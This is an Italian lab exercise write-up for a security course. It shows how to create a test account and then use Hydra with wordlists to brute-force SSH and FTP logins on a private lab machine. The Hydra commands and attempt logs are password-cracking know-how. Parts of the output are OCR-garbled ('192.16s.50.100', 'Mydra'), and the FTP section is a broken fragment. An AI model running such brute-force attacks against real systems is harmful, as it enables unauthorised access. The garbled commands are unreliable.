S6L4,

## **BENVENUTI LUIGI, 29/02/2024**

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio. L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- 1. Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- 2. Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

## 1 - SSH test\_user cracking

Per prima cosa creiamo un nuovo utente test\_user con password test123:

```
)-[/home/kali]
     adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user'
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
          Full Name []:
          Room Number []:
Work Phone []:
          Home Phone []:
          Other []:
Is the information correct? [Y/n] n
Changing the user information for test_user
Enter the new value, or press ENTER for the default Full Name []: test_user
          Room Number []:
          Work Phone []:
          Home Phone []:
          Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ... info: Adding user `test_user' to group `users' ...
```

Tentiamo di collegarci tramite SSH alla nuova utenza creata:

```
-(kali⊕kali)-[~]
—$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:i+93EhRpjyeSfmhLEgz+HmIeiAQM58Hye46QkjB5V9w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
  -(test_user®kali)-[~]
```

Riusciamo a connetterci. Proviamo allora il cracking con Hydra.

Facciamo un primo test, inserendo direttamente nome e password che sappiamo essere corretti:

```
** hydra -l test_user -p test123 192.168.50.100 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no n-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 06:42:21
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test123" - 1 of 1 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: test123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 06:42:22
```

Andiamo con il test vero e proprio, utilizzando dei file di testo contenenti user e password:

```
(kali⊕ kali)-[~]

$ hydra -L -/simple.txt -P ~/simplepass.txt 192.168.50.100 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no n-binding, these *** ignore laws and ethics anyway).
"Shydra" - "/simple.txt - "/-simple.txt - "/-simple.ass.txt 192.16s.50.100 - "La ssh - "V
mydra V9.5 (c) 2023 by van Hauser/This & David Maxiejak - Please do not use in military or secret sern n-binding, these ** ignore laws and ethics anyway).

Mydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 06:45:53

[DATA] max 4 tasks per 1 server, overall 4 tasks, 42 login tries (1:6/p:7), -11 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 42 login tries (1:6/p:7), -11 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 42 login tries (1:6/p:7), -11 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 42 login tries (1:6/p:7), -11 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 42 login tries (1:6/p:7), -11 tries per task

[DATA] attacking ssh://192.16s.50.100 - login "admin" - pass "password" - 1 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "admin" - pass "user" - 2 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "admin" - pass "abcl23" - 4 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "admin" - pass "123test" - 6 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "admin" - pass "123test" - 6 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "administrator" - pass "password" - 8 of (child 3) (0/0)

[ATTEMPT] target 192.16s.50.100 - login "administrator" - pass "password" - 1 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "administrator" - pass "password" - 1 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "administrator" - pass "password" - 1 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "administrator" - pass "123bbc" - 1 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "administrator" - pass "lesti23" - 1 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "administrator" - pass "lesti23" - 1 of 42 [child 3] (0/0)

[ATTEMPT] target 192.16s.50.100 - login "user" - pass "series" - 1 of 42
```

Otteniamo user e password in chiaro.

## 2 - FTP test\_user cracking

Proviamo il cracking sul protocollo FTP:

```
| Company | Comp
```

Anche qui otteniamo user e password.